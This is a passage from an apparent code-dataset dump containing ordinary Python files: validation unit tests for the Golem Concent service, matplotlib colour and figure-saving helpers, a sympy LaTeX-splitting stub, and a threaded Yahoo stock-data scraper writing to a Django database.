assert_that(exception.value.error_code).is_equal_to(ErrorCode.MESSAGE_WRONG_UUID_TYPE)\n\n\nclass TestInvalidHashAlgorithms(TestCase):\n\n def test_that_validation_should_raise_exception_when_checksum_is_invalid(self):\n invalid_values_with_expected_error_code = {\n 123456789: ErrorCode.MESSAGE_FILES_CHECKSUM_WRONG_TYPE,\n '': ErrorCode.MESSAGE_FILES_CHECKSUM_EMPTY,\n 'sha14452d71687b6bc2c9389c3349fdc17fbd73b833b': ErrorCode.MESSAGE_FILES_CHECKSUM_WRONG_FORMAT,\n 'sha2:4452d71687b6bc2c9389c3349fdc17fbd73b833b': ErrorCode.MESSAGE_FILES_CHECKSUM_INVALID_ALGORITHM,\n 'sha1:xyz2d71687b6bc2c9389c3349fdc17fbd73b833b': ErrorCode.MESSAGE_FILES_CHECKSUM_INVALID_SHA1_HASH,\n 'sha1:': ErrorCode.MESSAGE_FILES_CHECKSUM_INVALID_SHA1_HASH,\n }\n for invalid_value, error_code in invalid_values_with_expected_error_code.items():\n with self.assertRaises(HashingAlgorithmError) as context:\n validate_secure_hash_algorithm(invalid_value)\n self.assertEqual(context.exception.error_code, error_code)\n\n\nclass TestAreEthereumAddressesAndKeysUnique(TestCase):\n\n def setUp(self):\n self.task_to_compute_1 = TaskToComputeFactory(\n requestor_ethereum_public_key=encode_hex(REQUESTOR_PUB_ETH_KEY),\n requestor_public_key=encode_hex(REQUESTOR_PUBLIC_KEY),\n want_to_compute_task=WantToComputeTaskFactory(\n provider_public_key=encode_hex(PROVIDER_PUBLIC_KEY),\n ),\n )\n self.task_to_compute_1.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n self.task_to_compute_2 = TaskToComputeFactory(\n requestor_ethereum_public_key=encode_hex(REQUESTOR_PUB_ETH_KEY),\n requestor_public_key=encode_hex(REQUESTOR_PUBLIC_KEY),\n want_to_compute_task=WantToComputeTaskFactory(\n provider_public_key=encode_hex(PROVIDER_PUBLIC_KEY),\n ),\n )\n self.task_to_compute_2.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n\n def create_subtask_results_accepted_list( # pylint: disable=no-self-use\n self,\n task_to_compute_1,\n task_to_compute_2,\n subtask_1_signed_by=REQUESTOR_PRIVATE_KEY,\n subtask_2_signed_by=REQUESTOR_PRIVATE_KEY,\n ) -> list:\n with freeze_time():\n subtask_results_accepted_1 = SubtaskResultsAcceptedFactory(\n report_computed_task=ReportComputedTaskFactory(\n task_to_compute=task_to_compute_1\n )\n )\n sign_message(subtask_results_accepted_1, subtask_1_signed_by)\n subtask_results_accepted_2 = SubtaskResultsAcceptedFactory(\n report_computed_task=ReportComputedTaskFactory(\n task_to_compute=task_to_compute_2\n )\n )\n sign_message(subtask_results_accepted_2, subtask_2_signed_by)\n subtask_results_accepted_list = [\n subtask_results_accepted_1,\n subtask_results_accepted_2,\n ]\n return subtask_results_accepted_list\n\n def test_that_if_the_same_values_given_method_should_return_true(self):\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_true()\n\n def test_that_if_different_requestor_ethereum_public_keys_are_given_method_should_return_false(self):\n self.task_to_compute_2.requestor_ethereum_public_key = encode_hex(DIFFERENT_REQUESTOR_PUB_ETH_KEY)\n self.task_to_compute_2.generate_ethsig(DIFFERENT_REQUESTOR_PRIV_ETH_KEY)\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_different_requestor_public_keys_are_given_method_should_return_false(self):\n self.task_to_compute_2.requestor_public_key = encode_hex(DIFFERENT_REQUESTOR_PUBLIC_KEY)\n self.task_to_compute_2.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_different_provider_ethereum_addresses_are_given_method_should_return_false(self):\n self.task_to_compute_2.want_to_compute_task.provider_ethereum_address = pubkey_to_address(\n DIFFERENT_PROVIDER_PUB_ETH_KEY\n )\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_different_provider_public_keys_are_given_method_should_return_false(self):\n self.task_to_compute_2.want_to_compute_task.provider_public_key = encode_hex(DIFFERENT_PROVIDER_PUBLIC_KEY)\n self.task_to_compute_2.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_messages_are_signed_by_different_requestors_method_should_return_false(self):\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n subtask_2_signed_by=DIFFERENT_REQUESTOR_PRIVATE_KEY,\n )\n result = are_subtask_results_accepted_messages_signed_by_the_same_requestor(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n\nclass TestFramesListValidation(TestCase):\n\n def test_that_list_of_ints_is_valid(self):\n try:\n validate_frames([1, 2])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_if_frames_is_not_a_list_of_ints_method_should_raise_exception(self):\n with self.assertRaises(FrameNumberValidationError):\n validate_frames({'1': 1})\n\n with self.assertRaises(FrameNumberValidationError):\n validate_frames((1, 2))\n\n def test_that_if_frames_are_not_grater_than_0_method_should_raise_exception(self):\n with self.assertRaises(FrameNumberValidationError):\n validate_frames([-1, 1])\n\n with self.assertRaises(FrameNumberValidationError):\n validate_frames([0, 1])\n\n def test_that_if_frames_are_not_one_after_the_other_method_should_pass(self):\n try:\n validate_frames([1, 3, 5])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_if_frames_are_not_integers_method_should_raise_exception(self):\n with self.assertRaises(FrameNumberValidationError):\n validate_frames(['1', '2'])\n\n\nclass TestValidateComputeTaskDef(object):\n compute_task_def = None\n\n @pytest.fixture(autouse=True)\n def setup(self):\n self.compute_task_def = ComputeTaskDefFactory()\n self.compute_task_def[\"extra_data\"] = {\n \"output_format\": \"PNG\",\n \"scene_file\": \"/golem/resources/nice_photo.blend\",\n \"frames\": [1, 2, 3],\n }\n\n def test_that_valid_compute_task_def_doesnt_raise_any_exception(self):\n try:\n validate_compute_task_def(self.compute_task_def)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n def test_that_mising_extra_data_causes_message_validation_error(self):\n del self.compute_task_def['extra_data']\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_compute_task_def(self.compute_task_def)\n assert_that(exception_wrapper.value.error_message).contains(f\"extra_data\")\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n \"missing_data\", [\n \"output_format\",\n \"scene_file\",\n \"frames\",\n ]\n )\n def test_that_missing_entries_in_extra_data_causes_message_validation_error(self, missing_data):\n del self.compute_task_def[\"extra_data\"][missing_data]\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_compute_task_def(self.compute_task_def)\n assert_that(exception_wrapper.value.error_message).contains(f\"{missing_data}\")\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n \"value_with_wrong_type\", [\n \"output_format\",\n \"scene_file\",\n ]\n )\n def test_that_wrong_field_types_causes_message_validation_error(self, value_with_wrong_type):\n self.compute_task_def[\"extra_data\"][value_with_wrong_type] = mock.sentinel.wrongtype\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_compute_task_def(self.compute_task_def)\n assert_that(exception_wrapper.value.error_message).contains(f\"{value_with_wrong_type}\")\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_VALUE_NOT_STRING)\n\n\nclass TestValidateSceneFile:\n\n @pytest.mark.parametrize(\n 'scene_file', [\n '/golem/resources/scene_file.png',\n 'golem/resources/scene_file.blend',\n 'resources/abc/scene_file.blend',\n '/resources/abc/scene_file.blend',\n '/golem/scene_file.blend',\n ] # pylint: disable=no-self-use\n )\n def test_that_wrong_scene_file_name_causes_validation_error(self, scene_file): # pylint: disable=no-self-use\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_scene_file(scene_file)\n assert_that(exception_wrapper.value.error_message).contains(f'{scene_file}')\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'scene_file', [\n '/golem/resources/scene_file.blend',\n '/golem/resources/abc/scene_file.blend',\n ] # pylint: disable=no-self-use\n )\n def test_that_valid_scene_file_name_doesnt_raise_any_error(self, scene_file):\n try:\n validate_scene_file(scene_file)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateTaskToCompute(object):\n\n @pytest.fixture(autouse=True)\n def setUp(self):\n (REQUESTOR_ETHEREUM_PRIVATE_KEY, REQUESTOR_ETHERUM_PUBLIC_KEY) = generate_ecc_key_pair()\n self.task_to_compute = TaskToComputeFactory(requestor_ethereum_public_key=encode_hex(REQUESTOR_ETHERUM_PUBLIC_KEY))\n self.task_to_compute.generate_ethsig(REQUESTOR_ETHEREUM_PRIVATE_KEY)\n self.task_to_compute.sign_all_promissory_notes(\n deposit_contract_address=settings.GNT_DEPOSIT_CONTRACT_ADDRESS,\n private_key=REQUESTOR_ETHEREUM_PRIVATE_KEY,\n )\n\n def test_that_valid_task_to_compute_doesnt_raise_any_exception(self):\n try:\n validate_task_to_compute(self.task_to_compute)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n def test_that_other_messages_than_task_to_compute_causes_message_validation_error(self): # pylint: disable=no-self-use\n wrong_message = ComputeTaskDefFactory()\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_task_to_compute(wrong_message)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n\nclass TestValidateOutputFormat:\n\n @pytest.mark.parametrize(\n 'output_format', [\n 'JPEG',\n 'PNG',\n 'EXR'\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_output_formats_dont_raise_any_exception(self, output_format):\n try:\n validate_blender_output_format(output_format)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n def test_that_unsupported_format_raises_concent_validation_error(self): # pylint: disable=no-self-use\n unsupported_format = 'BMP'\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_blender_output_format(unsupported_format)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_VALUE_NOT_ALLOWED)\n\n\nclass TestValidateSceneResolution:\n\n @pytest.mark.parametrize(\n 'resolution', [\n '400x400',\n [0, 0],\n [100, 0],\n [0, 100],\n [-100, 100],\n [100, -100],\n ['100', 100],\n [],\n ['400x800'],\n [71830.23, 1000],\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_resolution_value_raise_exception(self, resolution):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_resolution(resolution)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'resolution', [\n [1, 1],\n [100000000, 100000000],\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_resolution_value_doesnt_raise_exception(self, resolution):\n try:\n validate_resolution(resolution)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateSceneUseCompositing:\n\n @pytest.mark.parametrize(\n 'use_compositing', [\n 'True',\n 1,\n [True]\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_use_compositing_value_raise_exception(self, use_compositing):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_use_compositing(use_compositing)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'use_compositing', [\n True,\n False\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_use_compositing_value_doesnt_raise_exception(self, use_compositing):\n try:\n validate_use_compositing(use_compositing)\n except ConcentValidationError as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateSceneSamples:\n\n @pytest.mark.parametrize(\n 'samples', [\n [1],\n 1.2,\n '1',\n -1,\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_samples_value_raise_exception(self, samples):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_samples(samples)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'samples', [\n 0,\n 1,\n 1000000000,\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_samples_value_doesnt_raise_exception(self, samples):\n try:\n validate_samples(samples)\n except ConcentValidationError as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateSceneCrop:\n\n def create_crop_dict(self, borders_x, borders_y): # pylint: disable=no-self-use\n return dict(\n borders_x=borders_x,\n borders_y=borders_y,\n )\n\n @pytest.mark.parametrize(\n ['borders_x', 'borders_y'], [\n [[0.0, 1.0], [0.0, 1.0]],\n [[0.71830, 1.0], [0.9, 1.0]],\n ]\n )\n def test_that_valid_crops_value_doesnt_raise_exception(self, borders_x, borders_y):\n try:\n validate_crops([self.create_crop_dict(borders_x, borders_y)])\n except ConcentValidationError as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n @pytest.mark.parametrize(\n ['borders_x', 'borders_y'], [\n [[0, 1], [0.0, 1.0]],\n [[0.0, 1.0], [0, 1]],\n [[1.0, 1.0], [0.0, 1.0]],\n [[0.0, 1.0], [1.0, 1.0]],\n [[0.5, 0.4], [0.0, 1.0]],\n [[0.0, 1.0], [0.5, 0.4]],\n [[1.0], [0.1, 0.0]],\n [[0.0, 1.0], [1.0]],\n [[], [0.0, 1.0]],\n [[0.0, 1.0], []],\n [(0.0, 1.0), [0.0, 1.0]],\n [[0.0, 1.0], (0.0, 1.0)],\n [None, [0.0, 1.0]],\n [[0.0, 1.0], None],\n [[0.0, 2.0], [0.0, 1.0]],\n [[0.0, 1.0], [0.0, 2.0]],\n [[-1.0, 1.0], [0.0, 1.0]],\n [[0.0, 1.0], [-1.0, 1.0]],\n ]\n )\n def test_that_invalid_borders_values_in_crops_dict_raise_exception(self, borders_x, borders_y):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_crops([self.create_crop_dict(borders_x, borders_y)])\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'crops', [\n [\n dict(borders_x=[0.0, 1.0], borders_y=[0.0, 1.0]),\n dict(borders_x=[0.0, 1.0], borders_y=[0.0, 1.0]),\n ],\n (\n dict(borders_x=[0.0, 1.0], borders_y=[0.0, 1.0]),\n ),\n [\n dict(borders_x=[0.0, 1.0]),\n ],\n [\n dict(borders_y=[0.0, 1.0]),\n ]\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_crops_list_raise_exception(self, crops):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_crops(crops)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n\n@mock.patch('core.validation.validate_use_compositing')\n@mock.patch('core.validation.validate_samples')\n@mock.patch('core.validation.validate_crops')\n@mock.patch('core.validation.validate_resolution')\nclass TestValidateBlenderScriptParameters:\n\n @pytest.fixture(autouse=True)\n def _create_blender_script_parameters(self, resolution=None, use_compositing=None, samples=None, crops=None): # pylint: disable=no-self-use\n return dict(\n resolution=resolution,\n use_compositing=use_compositing,\n samples=samples,\n crops=crops,\n )\n\n def test_that_valid_extra_data_doesnt_raise_exception(self, mocked_use_compositing_validator, mocked_samples_validator, mocked_crops_validator, mocked_resolution_validator):\n try:\n validate_blender_script_parameters(self._create_blender_script_parameters())\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n assert_that(mocked_use_compositing_validator.called).is_true()\n assert_that(mocked_samples_validator.called).is_true()\n assert_that(mocked_crops_validator.called).is_true()\n assert_that(mocked_resolution_validator.called).is_true()\n\n @pytest.mark.parametrize(\n 'field_to_delete', [\n 'resolution',\n 'use_compositing',\n 'samples',\n 'crops',\n ]\n )\n def test_that_invalid_extra_data_raise_exception(self, mocked_use_compositing_validator, mocked_samples_validator, mocked_crops_validator, mocked_resolution_validator, field_to_delete):\n extra_data = self._create_blender_script_parameters()\n extra_data.pop(field_to_delete)\n\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_blender_script_parameters(extra_data)\n\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n assert_that(field_to_delete in exception_wrapper.value.error_message).is_true()\n assert_that(mocked_use_compositing_validator.called).is_false()\n assert_that(mocked_samples_validator.called).is_false()\n assert_that(mocked_crops_validator.called).is_false()\n assert_that(mocked_resolution_validator.called).is_false()\n\n\nclass TestValidateSubtaskResultsVerify:\n @pytest.fixture(autouse=True)\n def setUp(self):\n self.provider_private_key, self.provider_public_key = generate_ecc_key_pair()\n self.deposit_contract_address = '0xcfB81A6EE3ae6aD4Ac59ddD21fB4589055c13DaD'\n\n want_to_compute_task = WantToComputeTaskFactory(\n provider_public_key=encode_hex(self.provider_public_key)\n )\n arguments = {\n 'subtask_results_rejected__'\n 'report_computed_task__'\n 'task_to_compute__'\n 'want_to_compute_task': want_to_compute_task\n }\n self.subtask_results_verify: SubtaskResultsVerify = SubtaskResultsVerifyFactory(**arguments)\n\n def test_that_correct_signature_doesnt_raise_any_exception(self):\n self.subtask_results_verify.sign_concent_promissory_note(\n self.deposit_contract_address,\n self.provider_private_key,\n )\n try:\n validate_subtask_results_verify(self.subtask_results_verify, self.deposit_contract_address)\n except Exception as exception: # pylint: disable=broad-except\n pytest.fail(f\"Unexpected exception has been raised: {exception}\")\n\n def test_that_incorrect_signature_raises_concent_validation_error(self):\n different_provider_private_key, _ = generate_ecc_key_pair()\n\n self.subtask_results_verify.sign_concent_promissory_note(\n self.deposit_contract_address,\n different_provider_private_key,\n )\n with pytest.raises(ConcentValidationError):\n validate_subtask_results_verify(self.subtask_results_verify, self.deposit_contract_address)\n\n def test_that_wrong_deposit_address_raises_concent_validation_error(self):\n different_deposit_contract_address = '0x89915ddA14eFd6b064da953431E8b7f902d89c83'\n\n self.subtask_results_verify.sign_concent_promissory_note(\n self.deposit_contract_address,\n self.provider_private_key,\n )\n with pytest.raises(ConcentValidationError):\n validate_subtask_results_verify(self.subtask_results_verify, different_deposit_contract_address)\n\n\nclass TestSubtaskResultsRejectedValidator:\n def test_that_no_reason_raise_validation_error(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected()\n with pytest.raises(GolemMessageValidationError):\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n\n def test_that_message_with_verification_negative_reason_will_not_raise_exception(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected(reason=SubtaskResultsRejected.REASON.VerificationNegative)\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n\n def test_that_message_with_force_resources_failure_and_force_get_task_result_failed_will_not_raise_exception(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected(reason=SubtaskResultsRejected.REASON.ForcedResourcesFailure)\n force_get_task_result_failed = ForceGetTaskResultFailed(task_to_compute=subtask_result_rejected.task_to_compute)\n subtask_result_rejected.force_get_task_result_failed = force_get_task_result_failed\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n\n def test_that_message_with_force_resources_failure_and_without_force_get_task_result_failed_will_raise_exception(self): # pylint: disable=no-self-use\n subtask_result_rejected = SubtaskResultsRejected(reason=SubtaskResultsRejected.REASON.ForcedResourcesFailure)\n with pytest.raises(GolemMessageValidationError):\n validate_subtask_results_rejected_reason(subtask_result_rejected)\n","repo_name":"golemfactory/concent","sub_path":"concent_api/core/tests/test_unit_validation.py","file_name":"test_unit_validation.py","file_ext":"py","file_size_in_byte":34435,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"} +{"seq_id":"70555549191","text":"#!/usr/bin/env python3\n# pp_h5dat.py\n\nimport os\nimport sys\nimport numpy as np\nimport h5py\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib import colors as mcolors\nfrom pp_h5dat import H5Plot\nfrom pp_h5dat import mkdirs_if_nexist\n\n\n\nclass Colors:\n def __init__(self):\n self.__colors = dict(mcolors.BASE_COLORS, **mcolors.CSS4_COLORS)\n\n def get_names_hsv_sorted(self):\n # Sort colors by hue, saturation, value and name.\n return [name for hsv, name in \n sorted((tuple(mcolors.rgb_to_hsv(mcolors.to_rgba(color)[:3])), name)\n for name, color in self.__colors.items())]\n\n def get_names_alpha_sorted(self):\n return sorted(self.__colors.keys())\n\n def get(self,arg):\n if isinstance(arg, int):\n rcol = list(self.__colors)[arg]\n elif isinstance(arg, str):\n if arg in self.__colors.keys():\n rcol = self.__colors[arg]\n else:\n rcol = (0,0,0)\n print(\"Error: color %s does not exist!\" % arg)\n else:\n rcol = (0,0,0)\n print(\"Error: color does not exist!\")\n return rcol\n\n\n def show_palette(self):\n n = len(self.get_names_hsv_sorted())\n ncols = 4\n nrows = n // ncols + 1\n\n fig, ax = plt.subplots(figsize=(8, 5))\n\n # Get height and width\n X, Y = fig.get_dpi() * fig.get_size_inches()\n h = Y / (nrows + 1)\n w = X / ncols\n\n for i, name in enumerate(self.get_names_hsv_sorted()):\n col = i % ncols\n row = i // ncols\n y = Y - (row * h) - h\n\n xi_line = w * (col + 0.05)\n xf_line = w * (col + 0.25)\n xi_text = w * (col + 0.3)\n\n ax.text(xi_text, y, name, fontsize=(h * 0.8),\n horizontalalignment='left',\n verticalalignment='center')\n\n ax.hlines(y + h * 0.1, xi_line, xf_line,\n color=self.__colors[name], linewidth=(h * 0.6))\n\n ax.set_xlim(0, X)\n ax.set_ylim(0, Y)\n ax.set_axis_off()\n\n fig.subplots_adjust(left=0, right=1,\n top=1, bottom=0,\n hspace=0, wspace=0)\n plt.show()\n\n\ndef saveas_eps_pdf(fig, savepath, savename, h5plot=True, verbose=True, fformat='pdf', transparent=True):\n\n fformat_list = ['eps','pdf']\n\n if fformat not in fformat_list:\n print(\"Error: fformat must be one of: \" + fformat_list)\n\n if savepath != None:\n if savepath == '':\n savepath = '.'\n else:\n mkdirs_if_nexist(savepath)\n fig.savefig( savepath + '/' + savename + '.' + fformat,\n format=fformat, transparent=transparent)\n \n if verbose: \n sys.stdout.write('Saved \"%s.%s\" at: %s/\\n' % (savename, fformat, savepath))\n sys.stdout.flush()\n\n if h5plot: \n h5lp = H5Plot()\n h5lp.inherit_matplotlib_line_plots(plt.gca()) \n h5lp.write(savepath + '/' + savename + '.h5')\n\n if verbose: \n sys.stdout.write('Saved \"%s.h5\" at: %s/\\n' % (savename, savepath))\n sys.stdout.flush() \n\n\ndef saveas_png(fig, savepath, savename, verbose=True, dpi=600):\n\n fformat = 'png'\n if savepath != None: \n mkdirs_if_nexist(savepath)\n fig.savefig( savepath + '/' + savename + '.' + fformat,\n format=fformat,\n dpi=dpi) \n \n if verbose: \n sys.stdout.write('Saved \"%s.%s\" at: %s/\\n' % (savename, fformat, savepath))\n sys.stdout.flush() \n\n","repo_name":"TMehrl/picpy","sub_path":"inc/pp_plt_tools.py","file_name":"pp_plt_tools.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"22214749609","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n# author:apple\n# datetime:18/10/30 上午12:34\n# software: PyCharm\n\nfrom .sympy_com import *\n\n\nclass ProofAnw(ComAnw):\n split_str = []\n\n def __init__(self, draft, express_1, express_2, final):\n super(ProofAnw, self).__init__(draft, express_1, express_2, final)\n\n def splitting(self):\n self.draft = self.draft.replace(\"\\\\operatorname { sin }\", \"\\\\sin\")\n self.draft = self.draft.replace(\"\\\\left. \\\\begin{array} { l } \", ' ')\n self.draft = self.draft.replace(\"\\\\end{array} \\\\right.\", ' ')\n self.step = re.split(r\"\\\\\\\\\", self.draft)\n print(self.step)\n self.separate = self.step\n for ne in self.separate:\n lin = re.split(r\"=\", ne)\n self.split_str.append(lin[-1])\n print(self.split_str)\n\n def grade(self):\n return super(ProofAnw, self).grade()\n\n\nif __name__ == \"__main__\":\n ProofAnw()\n","repo_name":"esmeetu/correctpaper","sub_path":"project_29/sympy_proof.py","file_name":"sympy_proof.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19117725807","text":"import os.path\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\nfrom background_task import background\nfrom django.utils import timezone\nfrom stocks_tracker.models import Stock\nfrom .yahoo_financial_stock import YahooFinancialStock\n\nglobal_stocks_dict = {} # The keys are stock symbols and the values are: YahooFinancialStock objects.\n\n\ndef set_stock_data(stock, yahoo_stock_object):\n stock.target_avg_sales = yahoo_stock_object.target_avg_sales\n stock.target_avg_eps = yahoo_stock_object.target_avg_eps\n stock.target_sales_growth = yahoo_stock_object.target_sales_growth\n stock.is_yahoo_scrapper_succeeded = True\n\n\ndef reset_stock_data(stock):\n stock.target_sales_growth = stock.target_avg_eps = stock.target_avg_sales = None\n\n\ndef update_new_stock(stock, stock_symbol, stock_name):\n stock.symbol = stock_symbol\n stock.name = stock_name\n\n\ndef reset_existed_stock_attributes(stock):\n stock.pivot = stock.is_accelerated = stock.is_eps_growth = stock.is_technically_valid = stock.is_breakout = \\\n stock.price_to_sell = None\n\n\ndef update_stock_fields_after_scrapper(stock, stock_symbol, stock_name, yahoo_stock_object):\n reset_stock_data(stock)\n stock.last_scrapper_update = timezone.now()\n\n if not stock.symbol:\n update_new_stock(stock, stock_symbol, stock_name)\n else:\n reset_existed_stock_attributes(stock)\n\n if yahoo_stock_object is not None:\n set_stock_data(stock, yahoo_stock_object)\n else:\n stock.is_scrapper_succeeded = False\n\n\ndef get_stock(symbol):\n stock = Stock() if len(Stock.objects.filter(symbol=symbol)) == 0 else Stock.objects.get(symbol=symbol)\n return stock\n\n\ndef write_to_db(stock_key, yahoo_stock_object):\n stock_symbol = stock_key.split()[0]\n try:\n stock_name = stock_key.split()[1]\n stock = get_stock(stock_symbol)\n update_stock_fields_after_scrapper(stock, stock_symbol, stock_name, yahoo_stock_object)\n stock.save()\n except Exception as e:\n print(f'Failed to save stock {stock_symbol} in the DB after scrapper run: {str(e)}')\n\n\ndef write_stocks_to_db():\n for stock_key in global_stocks_dict:\n write_to_db(stock_key, global_stocks_dict[stock_key])\n\n\ndef get_yahoo_stock_object(stock_symbol):\n stock = YahooFinancialStock(stock_symbol)\n return stock\n\n\ndef run_yahoo_stock_scrapper(stock_key):\n try:\n yahoo_stock_object = get_yahoo_stock_object(stock_key.split()[0])\n global_stocks_dict[stock_key] = yahoo_stock_object\n except:\n global_stocks_dict[stock_key] = None\n\n\ndef iterate_over_all_stock(all_stocks):\n global global_stocks_dict\n start = time.time()\n maximum_threads = 200\n timeout_between_threads_creation = 0.02\n pool = ThreadPoolExecutor(max_workers=maximum_threads)\n\n for stock_key in all_stocks:\n try:\n stock_symbol = stock_key.split()[0]\n print(stock_symbol) # print stock symbol\n pool.submit(run_yahoo_stock_scrapper, stock_key)\n time.sleep(timeout_between_threads_creation)\n except:\n pass\n\n pool.shutdown(wait=True)\n end = time.time()\n print(f'Running all threads took {round(end - start, 2)} seconds')\n\n\ndef get_all_stocks_list():\n all_stocks_file = 'all_stocks.txt'\n all_stocks_file_full_path = f'{os.path.dirname(os.path.realpath(__file__))}\\\\{all_stocks_file}'\n if not os.path.exists(all_stocks_file_full_path):\n return None\n\n stock_name_invalid_suffix = ['-', '.']\n stocks_list = []\n\n with open(all_stocks_file_full_path, 'r') as all_stocks:\n for stock_line in all_stocks:\n stock_symbol_and_name = stock_line.split()\n if len(stock_symbol_and_name) == 2:\n stock_symbol = stock_symbol_and_name[0]\n stock_name = stock_symbol_and_name[1]\n if stock_name[-1] in stock_name_invalid_suffix:\n stock_name = stock_name[:-1]\n stocks_list.append(f'{stock_symbol} {stock_name}')\n\n return stocks_list\n\n\n@background()\ndef yahoo_scrapper_main():\n print('Started yahoo_scrapper_main')\n all_stocks_list = get_all_stocks_list()\n iterate_over_all_stock(all_stocks_list)\n write_stocks_to_db()\n print('Finished 